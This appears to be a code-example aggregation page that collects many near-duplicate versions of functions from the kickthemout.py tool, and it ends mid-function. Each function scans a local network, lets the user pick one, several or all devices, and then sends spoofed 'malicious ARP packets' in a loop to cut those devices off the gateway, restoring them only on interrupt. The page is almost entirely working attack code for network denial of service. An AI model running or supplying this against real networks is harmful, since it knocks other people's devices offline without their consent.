コード例 #1
0
def kickoneoff():
    os.system("clear||cls")

    print("\n{0}kickONEOff{1} selected...{2}\n").format(RED, GREEN, END)
    scanNetwork()

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print("  [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t" +
              vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END)

    canBreak = False
    while not canBreak:
        try:
            choice = int(raw_input("\nChoose a target: "))
            one_target_ip = onlineIPs[choice]
            canBreak = True
        except KeyboardInterrupt:
            return
        except:
            print(
                "\n{0}ERROR: Please enter a number from the list!{1}").format(
                    RED, END)

    one_target_mac = ""
    for host in hostsList:
        if host[0] == one_target_ip:
            one_target_mac = host[1]
    if one_target_mac == "":
        print("\nIP address is not up. Please try again.")
        return

    print("\n{0}Target: {1}" + one_target_ip).format(GREEN, END)

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        while True:
            spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP,
                             one_target_ip, one_target_mac)
            time.sleep(10)
    except KeyboardInterrupt:
        print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            try:
                spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0],
                                 host[1])
            except KeyboardInterrupt:
                pass
            except:
                runDebug()
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} target successfully.{2}").format(RED, GREEN, END)
コード例 #2
0
def kickalloff():
    os.system("clear||cls")

    print("\n{0}kickALLOff{1} selected...{2}\n").format(RED, GREEN, END)
    sys.stdout.write("{0}Hang on...{1}\r".format(GREEN, END))
    sys.stdout.flush()
    scanNetwork()

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print(
            str("  {0}" + str(onlineIPs[i]) + "{1}\t" + vendor + "{2}").format(
                RED, GREEN, END))

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        # broadcast malicious ARP packets (10p/s)
        reScan = 0
        while True:
            for host in hostsList:
                if host[0] != defaultGatewayIP:
                    # dodge gateway (avoid crashing network itself)
                    spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP,
                                     host[0], host[1])
            reScan += 1
            if reScan == 4:
                reScan = 0
                scanNetwork()
            time.sleep(10)
    except KeyboardInterrupt:
        print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            # broadcast ARP packets with legitimate info to restore connection
            for host in hostsList:
                if host[0] != defaultGatewayIP:
                    try:
                        # dodge gateway
                        spoof.sendPacket(defaultGatewayMac, defaultGatewayIP,
                                         host[0], host[1])
                    except KeyboardInterrupt:
                        pass
                    except:
                        runDebug()
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} targets successfully.{2}").format(
            RED, GREEN, END)
コード例 #3
0
def kickalloff():
    # kickalloff function, launched if the user selects the number for this from the optionBanner
    os.system("clear||cls")

    print("\n{0}kickALLOff{1} selected...{2}\n").format(RED, GREEN, END)
    scanNetwork()

    # Print the list of online IP's with vendors
    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print(str("  {0}"+ str(onlineIPs[i]) + "{1}\t" + vendor + "{2}").format(RED, GREEN, END))

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        # Send [number of hosts in hostsList array] malicious ARP packet in every 10 second
        reScan = 0
        while True:
            for host in hostsList:
                # Loop trough hostsList array
                if host[0] != defaultGatewayIP:
                    # Only sent the packet if the target is not the gateway
                    spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
            reScan += 1
            if reScan == 4:
                reScan = 0
                scanNetwork()
            time.sleep(10)
    except KeyboardInterrupt:
        print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            # Send 10 ARP packets with real information to restore the connections to every target
            for host in hostsList:
                if host[0] != defaultGatewayIP:
                    try:
                        # Only sent the packet if the target is not the gateway
                        spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
                    except KeyboardInterrupt:
                        pass
                    except:
                        runDebug()
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)
コード例 #4
0
ファイル: kickthemout.py プロジェクト: ux8mz/kickthemout
def kickalloff():
    os.system("clear||cls")

    print("\n{0}kickALLOff{1} selected...{2}\n").format(RED, GREEN, END)
    sys.stdout.write("{0}Hang on...{1}\r".format(GREEN, END))
    sys.stdout.flush()
    scanNetwork()

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print(str("  {0}"+ str(onlineIPs[i]) + "{1}\t" + vendor + "{2}").format(RED, GREEN, END))

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        # broadcast malicious ARP packets (10p/s)
        reScan = 0
        while True:
            for host in hostsList:
                if host[0] != defaultGatewayIP:
                    # dodge gateway (avoid crashing network itself)
                    spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
            reScan += 1
            if reScan == 4:
                reScan = 0
                scanNetwork()
            time.sleep(10)
    except KeyboardInterrupt:
        print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            # broadcast ARP packets with legitimate info to restore connection
            for host in hostsList:
                if host[0] != defaultGatewayIP:
                    try:
                        # dodge gateway
                        spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
                    except KeyboardInterrupt:
                        pass
                    except:
                        runDebug()
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)
コード例 #5
0
def kickalloff():
    os.system("clear||cls")

    print("\n{0}kickALLOff{1} selected...{2}\n").format(RED, GREEN, END)
    scanNetwork()

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print(
            str("  {0}" + str(onlineIPs[i]) + "{1}\t" + vendor + "{2}").format(
                RED, GREEN, END))

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        reScan = 0
        while True:
            for host in hostsList:
                if host[0] != defaultGatewayIP:
                    spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP,
                                     host[0], host[1])
            reScan += 1
            if reScan == 4:
                reScan = 0
                scanNetwork()
            time.sleep(10)
    except KeyboardInterrupt:
        print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            for host in hostsList:
                if host[0] != defaultGatewayIP:
                    try:
                        spoof.sendPacket(defaultGatewayMac, defaultGatewayIP,
                                         host[0], host[1])
                    except KeyboardInterrupt:
                        pass
                    except:
                        runDebug()
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} targets successfully.{2}").format(
            RED, GREEN, END)
コード例 #6
0
def kicksomeoff():
    os.system("clear||cls")

    print("\n{}kickSOMEOff{} selected...{}\n".format(RED, GREEN, END))
    global stopAnimation
    stopAnimation = False
    t = threading.Thread(target=scanningAnimation, args=('Hang on...', ))
    t.daemon = True
    t.start()

    # commence scanning process
    try:
        scanNetwork()
    except KeyboardInterrupt:
        shutdown()
    stopAnimation = True

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        try:
            hostname = utils.socket.gethostbyaddr(onlineIPs[i])[0]
        except:
            hostname = "N/A"
        vendor = resolveMac(mac)
        print("  [{}{}{}] {}{}{}\t{}{}\t{} ({}{}{}){}".format(
            YELLOW, str(i), WHITE, RED, str(onlineIPs[i]), BLUE, mac, GREEN,
            vendor, YELLOW, hostname, GREEN, END))

    canBreak = False
    while not canBreak:
        try:
            choice = input("\nChoose devices to target (comma-separated): ")
            if ',' in choice:
                someTargets = choice.split(",")
                canBreak = True
            else:
                print(
                    "\n{}ERROR: Please select more than 1 devices from the list.{}\n"
                    .format(RED, END))
        except KeyboardInterrupt:
            shutdown()

    someIPList = ""
    for i in someTargets:
        try:
            someIPList += onlineIPs[int(i)] + ", "
        except KeyboardInterrupt:
            shutdown()
        except:
            print("\n{}ERROR: '{}{}{}' is not in the list.{}\n".format(
                RED, GREEN, i, RED, END))
            return
    someIPList = someIPList[:-2] + END

    print("\n{}Targets: {}{}".format(GREEN, END, someIPList))

    if options.packets is not None:
        print("\n{}Spoofing started... {}( {} pkts/min )".format(
            GREEN, END, str(options.packets)))
    else:
        print("\n{}Spoofing started... {}".format(GREEN, END))
    try:
        while True:
            # broadcast malicious ARP packets
            for i in someTargets:
                ip = onlineIPs[int(i)]
                for host in hostsList:
                    if host[0] == ip:
                        spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP,
                                         host[0], host[1])
            if options.packets is not None:
                time.sleep(60 / float(options.packets))
            else:
                time.sleep(10)
    except KeyboardInterrupt:
        # re-arp targets on KeyboardInterrupt exception
        print("\n{}Re-arping{} targets...{}".format(RED, GREEN, END))
        reArp = 1
        while reArp != 10:
            # broadcast ARP packets with legitimate info to restore connection
            for i in someTargets:
                ip = onlineIPs[int(i)]
                for host in hostsList:
                    if host[0] == ip:
                        try:
                            spoof.sendPacket(defaultGatewayMac,
                                             defaultGatewayIP, host[0],
                                             host[1])
                        except KeyboardInterrupt:
                            pass
                        except:
                            runDebug()
            reArp += 1
            time.sleep(0.2)
        print("{}Re-arped{} targets successfully.{}".format(RED, GREEN, END))
コード例 #7
0
def kickoneoff():
    os.system("clear||cls")

    print("\n{}kickONEOff{} selected...{}\n".format(RED, GREEN, END))
    global stopAnimation
    stopAnimation = False
    t = threading.Thread(target=scanningAnimation, args=('Hang on...', ))
    t.daemon = True
    t.start()

    # commence scanning process
    try:
        scanNetwork()
    except KeyboardInterrupt:
        shutdown()
    stopAnimation = True

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        try:
            hostname = utils.socket.gethostbyaddr(onlineIPs[i])[0]
        except:
            hostname = "N/A"
        vendor = resolveMac(mac)
        print("  [{}{}{}] {}{}{}\t{}{}\t{} ({}{}{}){}".format(
            YELLOW, str(i), WHITE, RED, str(onlineIPs[i]), BLUE, mac, GREEN,
            vendor, YELLOW, hostname, GREEN, END))

    canBreak = False
    while not canBreak:
        try:
            choice = int(input("\nChoose a target: "))
            oneTargetIP = onlineIPs[choice]
            canBreak = True
        except KeyboardInterrupt:
            shutdown()
        except:
            print("\n{}ERROR: Please enter a number from the list!{}".format(
                RED, END))

    # locate MAC of specified device
    oneTargetMAC = ""
    for host in hostsList:
        if host[0] == oneTargetIP:
            oneTargetMAC = host[1]
    if oneTargetMAC == "":
        print("\nIP address is not up. Please try again.")
        return

    print("\n{}Target: {}{}".format(GREEN, END, oneTargetIP))

    if options.packets is not None:
        print("\n{}Spoofing started... {}( {} pkts/min )".format(
            GREEN, END, str(options.packets)))
    else:
        print("\n{}Spoofing started... {}".format(GREEN, END))
    try:
        while True:
            # broadcast malicious ARP packets
            spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP,
                             oneTargetIP, oneTargetMAC)
            if options.packets is not None:
                time.sleep(60 / float(options.packets))
            else:
                time.sleep(10)
    except KeyboardInterrupt:
        # re-arp target on KeyboardInterrupt exception
        print("\n{}Re-arping{} target...{}".format(RED, GREEN, END))
        reArp = 1
        while reArp != 10:
            try:
                # broadcast ARP packets with legitimate info to restore connection
                spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0],
                                 host[1])
            except KeyboardInterrupt:
                pass
            except:
                runDebug()
            reArp += 1
            time.sleep(0.2)
        print("{}Re-arped{} target successfully.{}".format(RED, GREEN, END))
コード例 #8
0
def nonInteractiveAttack():

    print("\n{}nonInteractiveAttack{} activated...{}\n".format(
        RED, GREEN, END))

    target = options.targets
    print("\n{}Target(s): {}{}".format(GREEN, END, ", ".join(target)))
    global stopAnimation
    stopAnimation = False
    t = threading.Thread(target=scanningAnimation,
                         args=('Checking target status...', ))
    t.daemon = True
    t.start()

    try:
        nm = nmap.PortScanner()
        counter = 0
        for host in target:
            a = nm.scan(hosts=host, arguments='-sn')
            if a['scan'] != {}:
                for k, v in a['scan'].items():
                    if str(v['status']['state']) == 'up':
                        pass
                    else:
                        if len(target) == 1 or counter == len(target) - 1:
                            stopAnimation = True
                            sys.stdout.write("\033[K")
                            print(
                                "\n{}ERROR: Target {}{}{} doesn't seem to be alive. Exiting...{}"
                                .format(RED, END, str(host), RED, END))
                            os._exit(1)
                        else:
                            sys.stdout.write("\033[K")
                            print(
                                "\n{}WARNING: Target {}{}{} doesn't seem be alive. Skipping...{}"
                                .format(RED, END, str(host), RED, END))
                            target.remove(host)
                            counter += 1
                            pass
            else:
                if len(target) == 1 or counter == len(target) - 1:
                    stopAnimation = True
                    sys.stdout.write("\033[K")
                    print(
                        "\n{}ERROR: Target {}{}{} doesn't seem to be alive. Exiting...{}"
                        .format(RED, END, str(host), RED, END))
                    os._exit(1)
                else:
                    sys.stdout.write("\033[K")
                    print(
                        "\n{}WARNING: Target {}{}{} doesn't seem be alive. Skipping...{}"
                        .format(RED, END, str(host), RED, END))
                    target.remove(host)
                    counter += 1
                    pass

        stopAnimation = True
        sys.stdout.write("\033[K")

        defaultGatewayIP = getGatewayIP()
        defaultGatewayMac = retrieveMACAddress(defaultGatewayIP)

    except KeyboardInterrupt:
        shutdown()

    if options.packets is not None:
        print("\n{}Spoofing started... {}( {} pkts/min )".format(
            GREEN, END, str(options.packets)))
    else:
        print("\n{}Spoofing started... {}".format(GREEN, END))
    try:
        while True:
            # broadcast malicious ARP packets
            for i in target:
                ipAddress = i
                macAddress = retrieveMACAddress(ipAddress)
                if macAddress == False:
                    print(
                        "\n{}ERROR: MAC address of target host could not be retrieved! Maybe host is down?{}"
                        .format(RED, END))
                    os._exit(1)
                spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP,
                                 ipAddress, macAddress)
            if options.packets is not None:
                time.sleep(60 / float(options.packets))
            else:
                time.sleep(10)
    except KeyboardInterrupt:
        # re-arp targets on KeyboardInterrupt exception
        print("\n{}Re-arping{} target(s)...{}".format(RED, GREEN, END))
        reArp = 1
        while reArp != 10:
            # broadcast ARP packets with legitimate info to restore connection
            for i in target:
                ipAddress = i
                try:
                    macAddress = retrieveMACAddress(ipAddress)
                except:
                    print(
                        "\n{}ERROR: MAC address of target host could not be retrieved! Maybe host is down?{}"
                        .format(RED, END))
                    os._exit(1)
                try:
                    spoof.sendPacket(defaultGatewayMac, defaultGatewayIP,
                                     ipAddress, macAddress)
                except KeyboardInterrupt:
                    pass
                except:
                    runDebug()
            reArp += 1
            time.sleep(0.2)
        print("{}Re-arped{} target(s) successfully.{}".format(RED, GREEN, END))
コード例 #9
0
ファイル: kickthemout.py プロジェクト: ux8mz/kickthemout
def kicksomeoff():
    os.system("clear||cls")

    print("\n{0}kickSOMEOff{1} selected...{2}\n").format(RED, GREEN, END)
    sys.stdout.write("{0}Hang on...{1}\r".format(GREEN, END))
    sys.stdout.flush()
    scanNetwork()

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print("  [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t" + vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END)

    canBreak = False
    while not canBreak:
        try:
            choice = raw_input("\nChoose devices to target(comma-separated): ")
            if ',' in choice:
                some_targets = choice.split(",")
                canBreak = True
            else:
                print("\n{0}ERROR: Please select more than 1 devices from the list.{1}\n").format(RED, END)
        except KeyboardInterrupt:
            return

    some_ipList = ""
    for i in some_targets:
        try:
            some_ipList += GREEN + "'" + RED + onlineIPs[int(i)] + GREEN + "', "
        except KeyboardInterrupt:
            return
        except:
            print("\n{0}ERROR: '{1}" + i + "{2}' is not in the list.{3}\n").format(RED, GREEN, RED, END)
            return
    some_ipList = some_ipList[:-2] + END

    print("\n{0}Targets: {1}" + some_ipList).format(GREEN, END)

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        while True:
            # broadcast malicious ARP packets (10p/s)
            for i in some_targets:
                ip = onlineIPs[int(i)]
                for host in hostsList:
                    if host[0] == ip:
                        spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
            time.sleep(10)
    except KeyboardInterrupt:
        # re-arp targets on KeyboardInterrupt exception
        print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            # broadcast ARP packets with legitimate info to restore connection
            for i in some_targets:
                ip = onlineIPs[int(i)]
                for host in hostsList:
                    if host[0] == ip:
                        try:
                            spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
                        except KeyboardInterrupt:
                            pass
                        except:
                            runDebug()
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)
コード例 #10
0
def kicksomeoff():
    os.system("clear||cls")

    print("\n{0}kickSOMEOff{1} selected...{2}\n").format(RED, GREEN, END)
    sys.stdout.write("{0}Hang on...{1}\r".format(GREEN, END))
    sys.stdout.flush()
    scanNetwork()

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print("  [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t" +
              vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END)

    canBreak = False
    while not canBreak:
        try:
            choice = raw_input("\nChoose devices to target(comma-separated): ")
            if ',' in choice:
                some_targets = choice.split(",")
                canBreak = True
            else:
                print(
                    "\n{0}ERROR: Please select more than 1 devices from the list.{1}\n"
                ).format(RED, END)
        except KeyboardInterrupt:
            return

    some_ipList = ""
    for i in some_targets:
        try:
            some_ipList += GREEN + "'" + RED + onlineIPs[int(
                i)] + GREEN + "', "
        except KeyboardInterrupt:
            return
        except:
            print("\n{0}ERROR: '{1}" + i +
                  "{2}' is not in the list.{3}\n").format(
                      RED, GREEN, RED, END)
            return
    some_ipList = some_ipList[:-2] + END

    print("\n{0}Targets: {1}" + some_ipList).format(GREEN, END)

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        while True:
            # broadcast malicious ARP packets (10p/s)
            for i in some_targets:
                ip = onlineIPs[int(i)]
                for host in hostsList:
                    if host[0] == ip:
                        spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP,
                                         host[0], host[1])
            time.sleep(10)
    except KeyboardInterrupt:
        # re-arp targets on KeyboardInterrupt exception
        print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            # broadcast ARP packets with legitimate info to restore connection
            for i in some_targets:
                ip = onlineIPs[int(i)]
                for host in hostsList:
                    if host[0] == ip:
                        try:
                            spoof.sendPacket(defaultGatewayMac,
                                             defaultGatewayIP, host[0],
                                             host[1])
                        except KeyboardInterrupt:
                            pass
                        except:
                            runDebug()
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} targets successfully.{2}").format(
            RED, GREEN, END)
コード例 #11
0
def kickoneoff():
    os.system("clear||cls")

    print("\n{}kickONEOff{} selected...{}\n".format(RED, GREEN, END))
    global stopAnimation
    stopAnimation = False
    t = threading.Thread(target=scanningAnimation, args=('Hang on...',))
    t.daemon = True
    t.start()

    # commence scanning process
    try:
        scanNetwork()
    except KeyboardInterrupt:
        shutdown()
    stopAnimation = True

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        try:
            hostname = utils.socket.gethostbyaddr(onlineIPs[i])[0]
        except:
            hostname = "N/A"
        vendor = resolveMac(mac)
        print("  [{}{}{}] {}{}{}\t{}{}\t{} ({}{}{}){}".format(YELLOW, str(i), WHITE, RED, str(onlineIPs[i]), BLUE, mac, GREEN, vendor, YELLOW, hostname, GREEN, END))

    canBreak = False
    while not canBreak:
        try:
            choice = int(input("\nChoose a target: "))
            oneTargetIP = onlineIPs[choice]
            canBreak = True
        except KeyboardInterrupt:
            shutdown()
        except:
            print("\n{}ERROR: Please enter a number from the list!{}".format(RED, END))

    # locate MAC of specified device
    oneTargetMAC = ""
    for host in hostsList:
        if host[0] == oneTargetIP:
            oneTargetMAC = host[1]
    if oneTargetMAC == "":
        print("\nIP address is not up. Please try again.")
        return

    print("\n{}Target: {}{}".format(GREEN, END, oneTargetIP))

    if options.packets is not None:
        print("\n{}Spoofing started... {}( {} pkts/min )".format(GREEN, END, str(options.packets)))
    else:
        print("\n{}Spoofing started... {}".format(GREEN, END))
    try:
        while True:
            # broadcast malicious ARP packets
            spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, oneTargetIP, oneTargetMAC)
            if options.packets is not None:
                time.sleep(60/float(options.packets))
            else:
                time.sleep(10)
    except KeyboardInterrupt:
        # re-arp target on KeyboardInterrupt exception
        print("\n{}Re-arping{} target...{}".format(RED, GREEN, END))
        reArp = 1
        while reArp != 10:
            try:
                # broadcast ARP packets with legitimate info to restore connection
                spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
            except KeyboardInterrupt:
                pass
            except:
                runDebug()
            reArp += 1
            time.sleep(0.2)
        print("{}Re-arped{} target successfully.{}".format(RED, GREEN, END))
コード例 #12
0
def nonInteractiveAttack():

    print("\n{}nonInteractiveAttack{} activated...{}\n".format(RED, GREEN, END))

    target = options.targets
    print("\n{}Target(s): {}{}".format(GREEN, END, ", ".join(target)))
    global stopAnimation
    stopAnimation = False
    t = threading.Thread(target=scanningAnimation, args=('Checking target status...',))
    t.daemon = True
    t.start()

    try:
        nm = nmap.PortScanner()
        counter = 0
        for host in target:
            a = nm.scan(hosts=host, arguments='-sn')
            if a['scan'] != {}:
                for k, v in a['scan'].items():
                    if str(v['status']['state']) == 'up':
                        pass
                    else:
                        if len(target) == 1 or counter == len(target)-1:
                            stopAnimation = True
                            sys.stdout.write("\033[K")
                            print("\n{}ERROR: Target {}{}{} doesn't seem to be alive. Exiting...{}".format(RED, END, str(host), RED, END))
                            os._exit(1)
                        else:
                            sys.stdout.write("\033[K")
                            print("\n{}WARNING: Target {}{}{} doesn't seem be alive. Skipping...{}".format(RED, END, str(host), RED, END))
                            target.remove(host)
                            counter += 1
                            pass
            else:
                if len(target) == 1 or counter == len(target)-1:
                    stopAnimation = True
                    sys.stdout.write("\033[K")
                    print("\n{}ERROR: Target {}{}{} doesn't seem to be alive. Exiting...{}".format(RED, END, str(host), RED, END))
                    os._exit(1)
                else:
                    sys.stdout.write("\033[K")
                    print("\n{}WARNING: Target {}{}{} doesn't seem be alive. Skipping...{}".format(RED, END, str(host), RED, END))
                    target.remove(host)
                    counter += 1
                    pass

        stopAnimation = True
        sys.stdout.write("\033[K")

        defaultGatewayIP = getGatewayIP()
        defaultGatewayMac = retrieveMACAddress(defaultGatewayIP)

    except KeyboardInterrupt:
        shutdown()

    if options.packets is not None:
        print("\n{}Spoofing started... {}( {} pkts/min )".format(GREEN, END, str(options.packets)))
    else:
        print("\n{}Spoofing started... {}".format(GREEN, END))
    try:
        while True:
            # broadcast malicious ARP packets
            for i in target:
                ipAddress = i
                macAddress = retrieveMACAddress(ipAddress)
                if macAddress == False:
                    print("\n{}ERROR: MAC address of target host could not be retrieved! Maybe host is down?{}".format(RED, END))
                    os._exit(1)
                spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, ipAddress, macAddress)
            if options.packets is not None:
                time.sleep(60/float(options.packets))
            else:
                time.sleep(10)
    except KeyboardInterrupt:
        # re-arp targets on KeyboardInterrupt exception
        print("\n{}Re-arping{} target(s)...{}".format(RED, GREEN, END))
        reArp = 1
        while reArp != 10:
            # broadcast ARP packets with legitimate info to restore connection
            for i in target:
                ipAddress = i
                try:
                    macAddress = retrieveMACAddress(ipAddress)
                except:
                    print("\n{}ERROR: MAC address of target host could not be retrieved! Maybe host is down?{}".format(RED, END))
                    os._exit(1)
                try:
                    spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, ipAddress, macAddress)
                except KeyboardInterrupt:
                    pass
                except:
                    runDebug()
            reArp += 1
            time.sleep(0.2)
        print("{}Re-arped{} target(s) successfully.{}".format(RED, GREEN, END))
コード例 #13
0
def kicksomeoff():
    # kicksomeoff function, launched if the user selects the number for this from the optionBanner
    os.system("clear||cls")

    print("\n{0}kickSOMEOff{1} selected...{2}\n").format(RED, GREEN, END)
    scanNetwork()

    # Print the list of online IP's with vendors
    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print("  [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t" + vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END)

    canBreak = False
    while not canBreak:
        # Get the input for which IPs to target
        try:
            choice = raw_input("\nChoose devices to target(comma-separated): ")
            if ',' in choice:
                some_targets = choice.split(",")
                canBreak = True
            else:
                print("\n{0}ERROR: Please select more than 1 devices from the list.{1}\n").format(RED, END)
        except KeyboardInterrupt:
            return

    # Create a string list of the IPs to print it out later
    some_ipList = ""
    for i in some_targets:
        try:
            some_ipList += GREEN + "'" + RED + onlineIPs[int(i)] + GREEN + "', "
        except KeyboardInterrupt:
            return
        except:
            print("\n{0}ERROR: '{1}" + i + "{2}' is not in the list.{3}\n").format(RED, GREEN, RED, END)
            return
    some_ipList = some_ipList[:-2] + END

    # Print the string IP list
    print("\n{0}Targets: {1}" + some_ipList).format(GREEN, END)

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        while True:
            # Send [number of targets] malicious ARP packet in every 10 second
            for i in some_targets:
                ip = onlineIPs[int(i)]
                for host in hostsList:
                    if host[0] == ip:
                        spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
            time.sleep(10)
    except KeyboardInterrupt:
        # Re-arp on KeyboardInterrupt
        print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            # Send 10 ARP packets with real information to restore the connections to every target
            for i in some_targets:
                ip = onlineIPs[int(i)]
                for host in hostsList:
                    if host[0] == ip:
                        try:
                            spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
                        except KeyboardInterrupt:
                            pass
                        except:
                            runDebug()
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)
コード例 #14
0
def kickoneoff():
    # kickoneoff function, launched if the user selects the number for this from the optionBanner
    os.system("clear||cls")

    print("\n{0}kickONEOff{1} selected...{2}\n").format(RED, GREEN, END)
    scanNetwork()

    # Print the list of online IP's with vendors
    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print("  [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t"+ vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END)

    canBreak = False
    while not canBreak:
        # Get the input for which IP to target
        try:
            choice = int(raw_input("\nChoose a target: "))
            one_target_ip = onlineIPs[choice]
            canBreak = True
        except KeyboardInterrupt:
            return
        except:
            print("\n{0}ERROR: Please enter a number from the list!{1}").format(RED, END)

    # Get the mac address of the IP by looping trough the hostList array
    one_target_mac = ""
    for host in hostsList:
        if host[0] == one_target_ip:
            one_target_mac = host[1]
    if one_target_mac == "":
        print("\nIP address is not up. Please try again.")
        return

    print("\n{0}Target: {1}" + one_target_ip).format(GREEN, END)

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        while True:
            # Send a malicious ARP packet in every 10 second
            spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, one_target_ip, one_target_mac)
            time.sleep(10)
    except KeyboardInterrupt:
        # Re-arp on KeyboardInterrupt
        print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            try:
                # Send 10 ARP packets with real information to restore the connections
                spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
            except KeyboardInterrupt:
                pass
            except:
                runDebug()
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} target successfully.{2}").format(RED, GREEN, END)
コード例 #15
0
def kickalloff():
    os.system("clear||cls")

    print("\n{}kickALLOff{} selected...{}\n".format(RED, GREEN, END))
    global stopAnimation
    stopAnimation = False
    t = threading.Thread(target=scanningAnimation, args=('Hang on...', ))
    t.daemon = True
    t.start()

    # commence scanning process
    try:
        scanNetwork()
    except KeyboardInterrupt:
        shutdown()
    stopAnimation = True

    print("Target(s): ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        try:
            hostname = utils.socket.gethostbyaddr(onlineIPs[i])[0]
        except:
            hostname = "N/A"
        vendor = resolveMac(mac)
        print("  [{}{}{}] {}{}{}\t{}{}\t{} ({}{}{}){}".format(
